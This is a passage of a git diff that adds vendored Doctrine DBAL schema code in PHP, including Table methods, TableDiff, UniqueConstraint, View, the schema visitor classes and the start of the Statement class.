$this->modifyColumn($name, $options); + } + + /** + * @param string $name + * @param mixed[] $options + * + * @return self + * + * @throws SchemaException + */ + public function modifyColumn($name, array $options) + { + $column = $this->getColumn($name); + $column->setOptions($options); + + return $this; + } + + /** + * Drops a Column from the Table. + * + * @param string $name + * + * @return self + */ + public function dropColumn($name) + { + $name = $this->normalizeIdentifier($name); + + unset($this->_columns[$name]); + + return $this; + } + + /** + * Adds a foreign key constraint. + * + * Name is inferred from the local columns. + * + * @param Table|string $foreignTable Table schema instance or table name + * @param string[] $localColumnNames + * @param string[] $foreignColumnNames + * @param mixed[] $options + * @param string|null $name + * + * @return self + * + * @throws SchemaException + */ + public function addForeignKeyConstraint( + $foreignTable, + array $localColumnNames, + array $foreignColumnNames, + array $options = [], + $name = null + ) { + $name ??= $this->_generateIdentifierName( + array_merge([$this->getName()], $localColumnNames), + 'fk', + $this->_getMaxIdentifierLength(), + ); + + if ($foreignTable instanceof Table) { + foreach ($foreignColumnNames as $columnName) { + if (! $foreignTable->hasColumn($columnName)) { + throw SchemaException::columnDoesNotExist($columnName, $foreignTable->getName()); + } + } + } + + foreach ($localColumnNames as $columnName) { + if (! $this->hasColumn($columnName)) { + throw SchemaException::columnDoesNotExist($columnName, $this->_name); + } + } + + $constraint = new ForeignKeyConstraint( + $localColumnNames, + $foreignTable, + $foreignColumnNames, + $name, + $options, + ); + + return $this->_addForeignKeyConstraint($constraint); + } + + /** + * @param string $name + * @param mixed $value + * + * @return self + */ + public function addOption($name, $value) + { + $this->_options[$name] = $value; + + return $this; + } + + /** + * @return void + * + * @throws SchemaException + */ + protected function _addColumn(Column $column) + { + $columnName = $column->getName(); + $columnName = $this->normalizeIdentifier($columnName); + + if (isset($this->_columns[$columnName])) { + throw SchemaException::columnAlreadyExists($this->getName(), $columnName); + } + + $this->_columns[$columnName] = $column; + } + + /** + * Adds an index to the table. + * + * @return self + * + * @throws SchemaException + */ + protected function _addIndex(Index $indexCandidate) + { + $indexName = $indexCandidate->getName(); + $indexName = $this->normalizeIdentifier($indexName); + $replacedImplicitIndexes = []; + + foreach ($this->implicitIndexes as $name => $implicitIndex) { + if (! $implicitIndex->isFulfilledBy($indexCandidate) || ! isset($this->_indexes[$name])) { + continue; + } + + $replacedImplicitIndexes[] = $name; + } + + if ( + (isset($this->_indexes[$indexName]) && ! in_array($indexName, $replacedImplicitIndexes, true)) || + ($this->_primaryKeyName !== null && $indexCandidate->isPrimary()) + ) { + throw SchemaException::indexAlreadyExists($indexName, $this->_name); + } + + foreach ($replacedImplicitIndexes as $name) { + unset($this->_indexes[$name], $this->implicitIndexes[$name]); + } + + if ($indexCandidate->isPrimary()) { + $this->_primaryKeyName = $indexName; + } + + $this->_indexes[$indexName] = $indexCandidate; + + return $this; + } + + /** @return self */ + protected function _addUniqueConstraint(UniqueConstraint $constraint): Table + { + $mergedNames = array_merge([$this->getName()], $constraint->getColumns()); + $name = strlen($constraint->getName()) > 0 + ? $constraint->getName() + : $this->_generateIdentifierName($mergedNames, 'fk', $this->_getMaxIdentifierLength()); + + $name = $this->normalizeIdentifier($name); + + $this->uniqueConstraints[$name] = $constraint; + + // If there is already an index that fulfills this requirements drop the request. In the case of __construct + // calling this method during hydration from schema-details all the explicitly added indexes lead to duplicates. + // This creates computation overhead in this case, however no duplicate indexes are ever added (column based). + $indexName = $this->_generateIdentifierName($mergedNames, 'idx', $this->_getMaxIdentifierLength()); + + $indexCandidate = $this->_createIndex($constraint->getColumns(), $indexName, true, false); + + foreach ($this->_indexes as $existingIndex) { + if ($indexCandidate->isFulfilledBy($existingIndex)) { + return $this; + } + } + + $this->implicitIndexes[$this->normalizeIdentifier($indexName)] = $indexCandidate; + + return $this; + } + + /** @return self */ + protected function _addForeignKeyConstraint(ForeignKeyConstraint $constraint) + { + $constraint->setLocalTable($this); + + if (strlen($constraint->getName()) > 0) { + $name = $constraint->getName(); + } else { + $name = $this->_generateIdentifierName( + array_merge([$this->getName()], $constraint->getLocalColumns()), + 'fk', + $this->_getMaxIdentifierLength(), + ); + } + + $name = $this->normalizeIdentifier($name); + + $this->_fkConstraints[$name] = $constraint; + + /* Add an implicit index (defined by the DBAL) on the foreign key + columns. If there is already a user-defined index that fulfills these + requirements drop the request. In the case of __construct() calling + this method during hydration from schema-details, all the explicitly + added indexes lead to duplicates. This creates computation overhead in + this case, however no duplicate indexes are ever added (based on + columns). */ + $indexName = $this->_generateIdentifierName( + array_merge([$this->getName()], $constraint->getColumns()), + 'idx', + $this->_getMaxIdentifierLength(), + ); + + $indexCandidate = $this->_createIndex($constraint->getColumns(), $indexName, false, false); + + foreach ($this->_indexes as $existingIndex) { + if ($indexCandidate->isFulfilledBy($existingIndex)) { + return $this; + } + } + + $this->_addIndex($indexCandidate); + $this->implicitIndexes[$this->normalizeIdentifier($indexName)] = $indexCandidate; + + return $this; + } + + /** + * Returns whether this table has a foreign key constraint with the given name. + * + * @param string $name + * + * @return bool + */ + public function hasForeignKey($name) + { + $name = $this->normalizeIdentifier($name); + + return isset($this->_fkConstraints[$name]); + } + + /** + * Returns the foreign key constraint with the given name. + * + * @param string $name The constraint name. + * + * @return ForeignKeyConstraint + * + * @throws SchemaException If the foreign key does not exist. + */ + public function getForeignKey($name) + { + $name = $this->normalizeIdentifier($name); + + if (! $this->hasForeignKey($name)) { + throw SchemaException::foreignKeyDoesNotExist($name, $this->_name); + } + + return $this->_fkConstraints[$name]; + } + + /** + * Removes the foreign key constraint with the given name. + * + * @param string $name The constraint name. + * + * @return void + * + * @throws SchemaException + */ + public function removeForeignKey($name) + { + $name = $this->normalizeIdentifier($name); + + if (! $this->hasForeignKey($name)) { + throw SchemaException::foreignKeyDoesNotExist($name, $this->_name); + } + + unset($this->_fkConstraints[$name]); + } + + /** + * Returns whether this table has a unique constraint with the given name. + */ + public function hasUniqueConstraint(string $name): bool + { + $name = $this->normalizeIdentifier($name); + + return isset($this->uniqueConstraints[$name]); + } + + /** + * Returns the unique constraint with the given name. + * + * @throws SchemaException If the unique constraint does not exist. + */ + public function getUniqueConstraint(string $name): UniqueConstraint + { + $name = $this->normalizeIdentifier($name); + + if (! $this->hasUniqueConstraint($name)) { + throw SchemaException::uniqueConstraintDoesNotExist($name, $this->_name); + } + + return $this->uniqueConstraints[$name]; + } + + /** + * Removes the unique constraint with the given name. + * + * @throws SchemaException If the unique constraint does not exist. + */ + public function removeUniqueConstraint(string $name): void + { + $name = $this->normalizeIdentifier($name); + + if (! $this->hasUniqueConstraint($name)) { + throw SchemaException::uniqueConstraintDoesNotExist($name, $this->_name); + } + + unset($this->uniqueConstraints[$name]); + } + + /** + * Returns ordered list of columns (primary keys are first, then foreign keys, then the rest) + * + * @return Column[] + */ + public function getColumns() + { + $primaryKeyColumns = $this->getPrimaryKey() !== null ? $this->getPrimaryKeyColumns() : []; + $foreignKeyColumns = $this->getForeignKeyColumns(); + $remainderColumns = $this->filterColumns( + array_merge(array_keys($primaryKeyColumns), array_keys($foreignKeyColumns)), + true, + ); + + return array_merge($primaryKeyColumns, $foreignKeyColumns, $remainderColumns); + } + + /** + * Returns the foreign key columns + * + * @deprecated Use {@see getForeignKey()} and {@see ForeignKeyConstraint::getLocalColumns()} instead. + * + * @return Column[] + */ + public function getForeignKeyColumns() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5731', + '%s is deprecated. Use getForeignKey() and ForeignKeyConstraint::getLocalColumns() instead.', + __METHOD__, + ); + + $foreignKeyColumns = []; + + foreach ($this->getForeignKeys() as $foreignKey) { + $foreignKeyColumns = array_merge($foreignKeyColumns, $foreignKey->getLocalColumns()); + } + + return $this->filterColumns($foreignKeyColumns); + } + + /** + * Returns only columns that have specified names + * + * @param string[] $columnNames + * + * @return Column[] + */ + private function filterColumns(array $columnNames, bool $reverse = false): array + { + return array_filter($this->_columns, static function (string $columnName) use ($columnNames, $reverse): bool { + return in_array($columnName, $columnNames, true) !== $reverse; + }, ARRAY_FILTER_USE_KEY); + } + + /** + * Returns whether this table has a Column with the given name. + * + * @param string $name The column name. + * + * @return bool + */ + public function hasColumn($name) + { + $name = $this->normalizeIdentifier($name); + + return isset($this->_columns[$name]); + } + + /** + * Returns the Column with the given name. + * + * @param string $name The column name. + * + * @return Column + * + * @throws SchemaException If the column does not exist. + */ + public function getColumn($name) + { + $name = $this->normalizeIdentifier($name); + + if (! $this->hasColumn($name)) { + throw SchemaException::columnDoesNotExist($name, $this->_name); + } + + return $this->_columns[$name]; + } + + /** + * Returns the primary key. + * + * @return Index|null The primary key, or null if this Table has no primary key. + */ + public function getPrimaryKey() + { + if ($this->_primaryKeyName !== null) { + return $this->getIndex($this->_primaryKeyName); + } + + return null; + } + + /** + * Returns the primary key columns. + * + * @deprecated Use {@see getPrimaryKey()} and {@see Index::getColumns()} instead. + * + * @return Column[] + * + * @throws Exception + */ + public function getPrimaryKeyColumns() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5731', + '%s is deprecated. Use getPrimaryKey() and Index::getColumns() instead.', + __METHOD__, + ); + + $primaryKey = $this->getPrimaryKey(); + + if ($primaryKey === null) { + throw new Exception('Table ' . $this->getName() . ' has no primary key.'); + } + + return $this->filterColumns($primaryKey->getColumns()); + } + + /** + * Returns whether this table has a primary key. + * + * @deprecated Use {@see getPrimaryKey()} instead. + * + * @return bool + */ + public function hasPrimaryKey() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5731', + '%s is deprecated. Use getPrimaryKey() instead.', + __METHOD__, + ); + + return $this->_primaryKeyName !== null && $this->hasIndex($this->_primaryKeyName); + } + + /** + * Returns whether this table has an Index with the given name. + * + * @param string $name The index name. + * + * @return bool + */ + public function hasIndex($name) + { + $name = $this->normalizeIdentifier($name); + + return isset($this->_indexes[$name]); + } + + /** + * Returns the Index with the given name. + * + * @param string $name The index name. + * + * @return Index + * + * @throws SchemaException If the index does not exist. + */ + public function getIndex($name) + { + $name = $this->normalizeIdentifier($name); + if (! $this->hasIndex($name)) { + throw SchemaException::indexDoesNotExist($name, $this->_name); + } + + return $this->_indexes[$name]; + } + + /** @return Index[] */ + public function getIndexes() + { + return $this->_indexes; + } + + /** + * Returns the unique constraints. + * + * @return UniqueConstraint[] + */ + public function getUniqueConstraints(): array + { + return $this->uniqueConstraints; + } + + /** + * Returns the foreign key constraints. + * + * @return ForeignKeyConstraint[] + */ + public function getForeignKeys() + { + return $this->_fkConstraints; + } + + /** + * @param string $name + * + * @return bool + */ + public function hasOption($name) + { + return isset($this->_options[$name]); + } + + /** + * @param string $name + * + * @return mixed + */ + public function getOption($name) + { + return $this->_options[$name]; + } + + /** @return mixed[] */ + public function getOptions() + { + return $this->_options; + } + + /** + * @deprecated + * + * @return void + * + * @throws SchemaException + */ + public function visit(Visitor $visitor) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5435', + 'Table::visit() is deprecated.', + ); + + $visitor->acceptTable($this); + + foreach ($this->getColumns() as $column) { + $visitor->acceptColumn($this, $column); + } + + foreach ($this->getIndexes() as $index) { + $visitor->acceptIndex($this, $index); + } + + foreach ($this->getForeignKeys() as $constraint) { + $visitor->acceptForeignKey($this, $constraint); + } + } + + /** + * Clone of a Table triggers a deep clone of all affected assets. + * + * @return void + */ + public function __clone() + { + foreach ($this->_columns as $k => $column) { + $this->_columns[$k] = clone $column; + } + + foreach ($this->_indexes as $k => $index) { + $this->_indexes[$k] = clone $index; + } + + foreach ($this->_fkConstraints as $k => $fk) { + $this->_fkConstraints[$k] = clone $fk; + $this->_fkConstraints[$k]->setLocalTable($this); + } + } + + /** + * @param string[] $columnNames + * @param string[] $flags + * @param mixed[] $options + * + * @throws SchemaException + */ + private function _createUniqueConstraint( + array $columnNames, + string $indexName, + array $flags = [], + array $options = [] + ): UniqueConstraint { + if (preg_match('(([^a-zA-Z0-9_]+))', $this->normalizeIdentifier($indexName)) === 1) { + throw SchemaException::indexNameInvalid($indexName); + } + + foreach ($columnNames as $columnName) { + if (! $this->hasColumn($columnName)) { + throw SchemaException::columnDoesNotExist($columnName, $this->_name); + } + } + + return new UniqueConstraint($indexName, $columnNames, $flags, $options); + } + + /** + * Normalizes a given identifier. + * + * Trims quotes and lowercases the given identifier. + * + * @return string The normalized identifier. + */ + private function normalizeIdentifier(?string $identifier): string + { + if ($identifier === null) { + return ''; + } + + return $this->trimQuotes(strtolower($identifier)); + } + + public function setComment(?string $comment): self + { + // For keeping backward compatibility with MySQL in previous releases, table comments are stored as options. + $this->addOption('comment', $comment); + + return $this; + } + + public function getComment(): ?string + { + return $this->_options['comment'] ?? null; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/TableDiff.php b/vendor/doctrine/dbal/src/Schema/TableDiff.php new file mode 100644 index 000000000..9aaf9e770 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/TableDiff.php @@ -0,0 +1,361 @@ + $addedColumns + * @param array $modifiedColumns + * @param array $droppedColumns + * @param array $addedIndexes + * @param array $changedIndexes + * @param array $removedIndexes + * @param list $addedForeignKeys + * @param list $changedForeignKeys + * @param list $removedForeignKeys + * @param array $renamedColumns + * @param array $renamedIndexes + */ + public function __construct( + $tableName, + $addedColumns = [], + $modifiedColumns = [], + $droppedColumns = [], + $addedIndexes = [], + $changedIndexes = [], + $removedIndexes = [], + ?Table $fromTable = null, + $addedForeignKeys = [], + $changedForeignKeys = [], + $removedForeignKeys = [], + $renamedColumns = [], + $renamedIndexes = [] + ) { + $this->name = $tableName; + $this->addedColumns = $addedColumns; + $this->changedColumns = $modifiedColumns; + $this->renamedColumns = $renamedColumns; + $this->removedColumns = $droppedColumns; + $this->addedIndexes = $addedIndexes; + $this->changedIndexes = $changedIndexes; + $this->renamedIndexes = $renamedIndexes; + $this->removedIndexes = $removedIndexes; + $this->addedForeignKeys = $addedForeignKeys; + $this->changedForeignKeys = $changedForeignKeys; + $this->removedForeignKeys = $removedForeignKeys; + + if ($fromTable === null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5678', + 'Not passing the $fromTable to %s is deprecated.', + __METHOD__, + ); + } + + $this->fromTable = $fromTable; + } + + /** + * @deprecated Use {@see getOldTable()} instead. + * + * @param AbstractPlatform $platform The platform to use for retrieving this table diff's name. + * + * @return Identifier + */ + public function getName(AbstractPlatform $platform) + { + return new Identifier( + $this->fromTable instanceof Table ? $this->fromTable->getQuotedName($platform) : $this->name, + ); + } + + /** + * @deprecated Rename tables via {@link AbstractSchemaManager::renameTable()} instead. + * + * @return Identifier|false + */ + public function getNewName() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5663', + '%s is deprecated. Rename tables via AbstractSchemaManager::renameTable() instead.', + __METHOD__, + ); + + if ($this->newName === false) { + return false; + } + + return new Identifier($this->newName); + } + + public function getOldTable(): ?Table + { + return $this->fromTable; + } + + /** @return list */ + public function getAddedColumns(): array + { + return array_values($this->addedColumns); + } + + /** @return list */ + public function getModifiedColumns(): array + { + return array_values($this->changedColumns); + } + + /** @return list */ + public function getDroppedColumns(): array + { + return array_values($this->removedColumns); + } + + /** @return array */ + public function getRenamedColumns(): array + { + return $this->renamedColumns; + } + + /** @return list */ + public function getAddedIndexes(): array + { + return array_values($this->addedIndexes); + } + + /** + * @internal This method exists only for compatibility with the current implementation of schema managers + * that modify the diff while processing it. + */ + public function unsetAddedIndex(Index $index): void + { + $this->addedIndexes = array_filter( + $this->addedIndexes, + static function (Index $addedIndex) use ($index): bool { + return $addedIndex !== $index; + }, + ); + } + + /** @return array */ + public function getModifiedIndexes(): array + { + return array_values($this->changedIndexes); + } + + /** @return list */ + public function getDroppedIndexes(): array + { + return array_values($this->removedIndexes); + } + + /** + * @internal This method exists only for compatibility with the current implementation of schema managers + * that modify the diff while processing it. + */ + public function unsetDroppedIndex(Index $index): void + { + $this->removedIndexes = array_filter( + $this->removedIndexes, + static function (Index $removedIndex) use ($index): bool { + return $removedIndex !== $index; + }, + ); + } + + /** @return array */ + public function getRenamedIndexes(): array + { + return $this->renamedIndexes; + } + + /** @return list */ + public function getAddedForeignKeys(): array + { + return $this->addedForeignKeys; + } + + /** @return list */ + public function getModifiedForeignKeys(): array + { + return $this->changedForeignKeys; + } + + /** @return list */ + public function getDroppedForeignKeys(): array + { + return $this->removedForeignKeys; + } + + /** + * @internal This method exists only for compatibility with the current implementation of the schema comparator. + * + * @param ForeignKeyConstraint|string $foreignKey + */ + public function unsetDroppedForeignKey($foreignKey): void + { + $this->removedForeignKeys = array_filter( + $this->removedForeignKeys, + static function ($removedForeignKey) use ($foreignKey): bool { + return $removedForeignKey !== $foreignKey; + }, + ); + } + + /** + * Returns whether the diff is empty (contains no changes). + */ + public function isEmpty(): bool + { + return count($this->addedColumns) === 0 + && count($this->changedColumns) === 0 + && count($this->removedColumns) === 0 + && count($this->renamedColumns) === 0 + && count($this->addedIndexes) === 0 + && count($this->changedIndexes) === 0 + && count($this->removedIndexes) === 0 + && count($this->renamedIndexes) === 0 + && count($this->addedForeignKeys) === 0 + && count($this->changedForeignKeys) === 0 + && count($this->removedForeignKeys) === 0; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/UniqueConstraint.php b/vendor/doctrine/dbal/src/Schema/UniqueConstraint.php new file mode 100644 index 000000000..f353f303a --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/UniqueConstraint.php @@ -0,0 +1,154 @@ + Identifier) + * + * @var Identifier[] + */ + protected $columns = []; + + /** + * Platform specific flags. + * array($flagName => true) + * + * @var true[] + */ + protected $flags = []; + + /** + * Platform specific options. + * + * @var mixed[] + */ + private array $options; + + /** + * @param string[] $columns + * @param string[] $flags + * @param mixed[] $options + */ + public function __construct(string $name, array $columns, array $flags = [], array $options = []) + { + $this->_setName($name); + + $this->options = $options; + + foreach ($columns as $column) { + $this->addColumn($column); + } + + foreach ($flags as $flag) { + $this->addFlag($flag); + } + } + + /** + * {@inheritDoc} + */ + public function getColumns() + { + return array_keys($this->columns); + } + + /** + * {@inheritDoc} + */ + public function getQuotedColumns(AbstractPlatform $platform) + { + $columns = []; + + foreach ($this->columns as $column) { + $columns[] = $column->getQuotedName($platform); + } + + return $columns; + } + + /** @return string[] */ + public function getUnquotedColumns(): array + { + return array_map([$this, 'trimQuotes'], $this->getColumns()); + } + + /** + * Returns platform specific flags for unique constraint. + * + * @return string[] + */ + public function getFlags(): array + { + return array_keys($this->flags); + } + + /** + * Adds flag for a unique constraint that translates to platform specific handling. + * + * @return $this + * + * @example $uniqueConstraint->addFlag('CLUSTERED') + */ + public function addFlag(string $flag): UniqueConstraint + { + $this->flags[strtolower($flag)] = true; + + return $this; + } + + /** + * Does this unique constraint have a specific flag? + */ + public function hasFlag(string $flag): bool + { + return isset($this->flags[strtolower($flag)]); + } + + /** + * Removes a flag. + */ + public function removeFlag(string $flag): void + { + unset($this->flags[strtolower($flag)]); + } + + /** + * Does this unique constraint have a specific option? + */ + public function hasOption(string $name): bool + { + return isset($this->options[strtolower($name)]); + } + + /** @return mixed */ + public function getOption(string $name) + { + return $this->options[strtolower($name)]; + } + + /** @return mixed[] */ + public function getOptions(): array + { + return $this->options; + } + + /** + * Adds a new column to the unique constraint. + */ + protected function addColumn(string $column): void + { + $this->columns[$column] = new Identifier($column); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/View.php b/vendor/doctrine/dbal/src/Schema/View.php new file mode 100644 index 000000000..b19f2ad1f --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/View.php @@ -0,0 +1,28 @@ +_setName($name); + $this->sql = $sql; + } + + /** @return string */ + public function getSql() + { + return $this->sql; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Visitor/AbstractVisitor.php b/vendor/doctrine/dbal/src/Schema/Visitor/AbstractVisitor.php new file mode 100644 index 000000000..f8f3b5825 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Visitor/AbstractVisitor.php @@ -0,0 +1,49 @@ +platform = $platform; + } + + /** + * {@inheritDoc} + */ + public function acceptNamespace($namespaceName) + { + if (! $this->platform->supportsSchemas()) { + return; + } + + $this->createNamespaceQueries[] = $this->platform->getCreateSchemaSQL($namespaceName); + } + + /** + * {@inheritDoc} + */ + public function acceptTable(Table $table) + { + $this->createTableQueries = array_merge($this->createTableQueries, $this->platform->getCreateTableSQL($table)); + } + + /** + * {@inheritDoc} + */ + public function acceptForeignKey(Table $localTable, ForeignKeyConstraint $fkConstraint) + { + if (! $this->platform->supportsForeignKeyConstraints()) { + return; + } + + $this->createFkConstraintQueries[] = $this->platform->getCreateForeignKeySQL($fkConstraint, $localTable); + } + + /** + * {@inheritDoc} + */ + public function acceptSequence(Sequence $sequence) + { + $this->createSequenceQueries[] = $this->platform->getCreateSequenceSQL($sequence); + } + + /** @return void */ + public function resetQueries() + { + $this->createNamespaceQueries = []; + $this->createTableQueries = []; + $this->createSequenceQueries = []; + $this->createFkConstraintQueries = []; + } + + /** + * Gets all queries collected so far. + * + * @return string[] + */ + public function getQueries() + { + return array_merge( + $this->createNamespaceQueries, + $this->createSequenceQueries, + $this->createTableQueries, + $this->createFkConstraintQueries, + ); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Visitor/DropSchemaSqlCollector.php b/vendor/doctrine/dbal/src/Schema/Visitor/DropSchemaSqlCollector.php new file mode 100644 index 000000000..ddec6b4ae --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Visitor/DropSchemaSqlCollector.php @@ -0,0 +1,107 @@ +platform = $platform; + $this->initializeQueries(); + } + + /** + * {@inheritDoc} + */ + public function acceptTable(Table $table) + { + $this->tables->attach($table); + } + + /** + * {@inheritDoc} + */ + public function acceptForeignKey(Table $localTable, ForeignKeyConstraint $fkConstraint) + { + if (strlen($fkConstraint->getName()) === 0) { + throw SchemaException::namedForeignKeyRequired($localTable, $fkConstraint); + } + + $this->constraints->attach($fkConstraint, $localTable); + } + + /** + * {@inheritDoc} + */ + public function acceptSequence(Sequence $sequence) + { + $this->sequences->attach($sequence); + } + + /** @return void */ + public function clearQueries() + { + $this->initializeQueries(); + } + + /** @return string[] */ + public function getQueries() + { + $sql = []; + + foreach ($this->constraints as $fkConstraint) { + assert($fkConstraint instanceof ForeignKeyConstraint); + $localTable = $this->constraints[$fkConstraint]; + $sql[] = $this->platform->getDropForeignKeySQL( + $fkConstraint->getQuotedName($this->platform), + $localTable->getQuotedName($this->platform), + ); + } + + foreach ($this->sequences as $sequence) { + assert($sequence instanceof Sequence); + $sql[] = $this->platform->getDropSequenceSQL($sequence->getQuotedName($this->platform)); + } + + foreach ($this->tables as $table) { + assert($table instanceof Table); + $sql[] = $this->platform->getDropTableSQL($table->getQuotedName($this->platform)); + } + + return $sql; + } + + private function initializeQueries(): void + { + $this->constraints = new SplObjectStorage(); + $this->sequences = new SplObjectStorage(); + $this->tables = new SplObjectStorage(); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Visitor/Graphviz.php b/vendor/doctrine/dbal/src/Schema/Visitor/Graphviz.php new file mode 100644 index 000000000..5eff0d945 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Visitor/Graphviz.php @@ -0,0 +1,164 @@ +output .= $this->createNodeRelation( + $fkConstraint->getLocalTableName() . ':col' . current($fkConstraint->getLocalColumns()) . ':se', + $fkConstraint->getForeignTableName() . ':col' . current($fkConstraint->getForeignColumns()) . ':se', + [ + 'dir' => 'back', + 'arrowtail' => 'dot', + 'arrowhead' => 'normal', + ], + ); + } + + /** + * {@inheritDoc} + */ + public function acceptSchema(Schema $schema) + { + $this->output = 'digraph "' . $schema->getName() . '" {' . "\n"; + $this->output .= 'splines = true;' . "\n"; + $this->output .= 'overlap = false;' . "\n"; + $this->output .= 'outputorder=edgesfirst;' . "\n"; + $this->output .= 'mindist = 0.6;' . "\n"; + $this->output .= 'sep = .2;' . "\n"; + } + + /** + * {@inheritDoc} + */ + public function acceptTable(Table $table) + { + $this->output .= $this->createNode( + $table->getName(), + [ + 'label' => $this->createTableLabel($table), + 'shape' => 'plaintext', + ], + ); + } + + private function createTableLabel(Table $table): string + { + // Start the table + $label = '<
    '; + + // The title + $label .= ''; + + // The attributes block + foreach ($table->getColumns() as $column) { + $columnLabel = $column->getName(); + + $label .= '' + . '' + . '' + . ''; + } + + // End the table + $label .= '
    ' + . '' . $table->getName() . '
    ' + . '' . $columnLabel . '' + . '' + . '' + . strtolower($column->getType()->getName()) + . '' + . ''; + + $primaryKey = $table->getPrimaryKey(); + + if ($primaryKey !== null && in_array($column->getName(), $primaryKey->getColumns(), true)) { + $label .= "\xe2\x9c\xb7"; + } + + $label .= '
    >'; + + return $label; + } + + /** + * @param string $name + * @param string[] $options + */ + private function createNode($name, $options): string + { + $node = $name . ' ['; + foreach ($options as $key => $value) { + $node .= $key . '=' . $value . ' '; + } + + $node .= "]\n"; + + return $node; + } + + /** + * @param string $node1 + * @param string $node2 + * @param string[] $options + */ + private function createNodeRelation($node1, $node2, $options): string + { + $relation = $node1 . ' -> ' . $node2 . ' ['; + foreach ($options as $key => $value) { + $relation .= $key . '=' . $value . ' '; + } + + $relation .= "]\n"; + + return $relation; + } + + /** + * Get Graphviz Output + * + * @return string + */ + public function getOutput() + { + return $this->output . '}'; + } + + /** + * Writes dot language output to a file. This should usually be a *.dot file. + * + * You have to convert the output into a viewable format. For example use "neato" on linux systems + * and execute: + * + * neato -Tpng -o er.png er.dot + * + * @param string $filename + * + * @return void + */ + public function write($filename) + { + file_put_contents($filename, $this->getOutput()); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Visitor/NamespaceVisitor.php b/vendor/doctrine/dbal/src/Schema/Visitor/NamespaceVisitor.php new file mode 100644 index 000000000..443824342 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Visitor/NamespaceVisitor.php @@ -0,0 +1,20 @@ +schema = $schema; + } + + /** + * {@inheritDoc} + */ + public function acceptTable(Table $table) + { + if ($this->schema === null) { + return; + } + + if ($table->isInDefaultNamespace($this->schema->getName())) { + return; + } + + $this->schema->dropTable($table->getName()); + } + + /** + * {@inheritDoc} + */ + public function acceptSequence(Sequence $sequence) + { + if ($this->schema === null) { + return; + } + + if ($sequence->isInDefaultNamespace($this->schema->getName())) { + return; + } + + $this->schema->dropSequence($sequence->getName()); + } + + /** + * {@inheritDoc} + */ + public function acceptForeignKey(Table $localTable, ForeignKeyConstraint $fkConstraint) + { + if ($this->schema === null) { + return; + } + + // The table may already be deleted in a previous + // RemoveNamespacedAssets#acceptTable call. Removing Foreign keys that + // point to nowhere. + if (! $this->schema->hasTable($fkConstraint->getForeignTableName())) { + $localTable->removeForeignKey($fkConstraint->getName()); + + return; + } + + $foreignTable = $this->schema->getTable($fkConstraint->getForeignTableName()); + if ($foreignTable->isInDefaultNamespace($this->schema->getName())) { + return; + } + + $localTable->removeForeignKey($fkConstraint->getName()); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Visitor/Visitor.php b/vendor/doctrine/dbal/src/Schema/Visitor/Visitor.php new file mode 100644 index 000000000..8b34864c1 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Visitor/Visitor.php @@ -0,0 +1,45 @@ +Statement for the given SQL and Connection. + * + * @internal The statement can be only instantiated by {@see Connection}. + * + * @param Connection $conn The connection for handling statement errors. + * @param Driver\Statement $statement The underlying driver-level statement. + * @param string $sql The SQL of the statement. + * + * @throws Exception + */ + public function __construct(Connection $conn, Driver\Statement $statement, string $sql) + { + $this->conn = $conn; + $this->stmt = $statement; + $this->sql = $sql; + $this->platform = $conn->getDatabasePlatform(); + } + + /** + * Binds a parameter value to the statement. + * + * The value can optionally be bound with a DBAL mapping type. + * If bound with a DBAL mapping type, the binding type is derived from the mapping + * type and the value undergoes the conversion routines of the mapping type before + * being bound. + * + * @param string|int $param The name or position of the parameter. + * @param mixed $value The value of the parameter. + * @param mixed $type Either a PDO binding type or a DBAL mapping type name or instance. + * + * @return bool TRUE on success, FALSE on failure. + * + * @throws Exception + */ + public function bindValue($param, $value, $type = ParameterType::STRING) + { + $this->params[$param] = $value; + $this->types[$param] = $type; + + $bindingType = ParameterType::STRING; + + if ($type !== null) { + if (is_string($type)) { + $type = Type::getType($type); + } + + $bindingType = $type; + + if ($type instanceof Type) { + $value = $type->convertToDatabaseValue($value, $this->platform); + $bindingType = $type->getBindingType(); + } + } + + try { + return $this->stmt->bindValue($param, $value, $bindingType); + } catch (Driver\Exception $e) { + throw $this->conn->convertException($e); + } + } + + /** + * Binds a parameter to a value by reference. + * + * Binding a parameter by reference does not support DBAL mapping types. + * + * @deprecated Use {@see bindValue()} instead. + * + * @param string|int $param The name or position of the parameter. + * @param mixed $variable The reference to the variable to bind. + * @param int $type The binding type. + * @param int|null $length Must be specified when using an OUT bind + * so that PHP allocates enough memory to hold the returned value. + * + * @return bool TRUE on success, FALSE on failure. + * + * @throws Exception + */ + public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + $this->params[$param] = $variable; + $this->types[$param] = $type; + + try { + if (func_num_args() > 3) { + return $this->stmt->bindParam($param, $variable, $type, $length); + } + + return $this->stmt->bindParam($param, $variable, $type); + } catch (Driver\Exception $e) { + throw $this->conn->convertException($e); + } + } + + /** + * Executes the statement with the currently bound parameters. + * + * @deprecated Statement::execute() is deprecated, use Statement::executeQuery() or executeStatement() instead + * + * @param mixed[]|null $params + * + * @throws Exception + */ + public function execute($params = null): Result + { 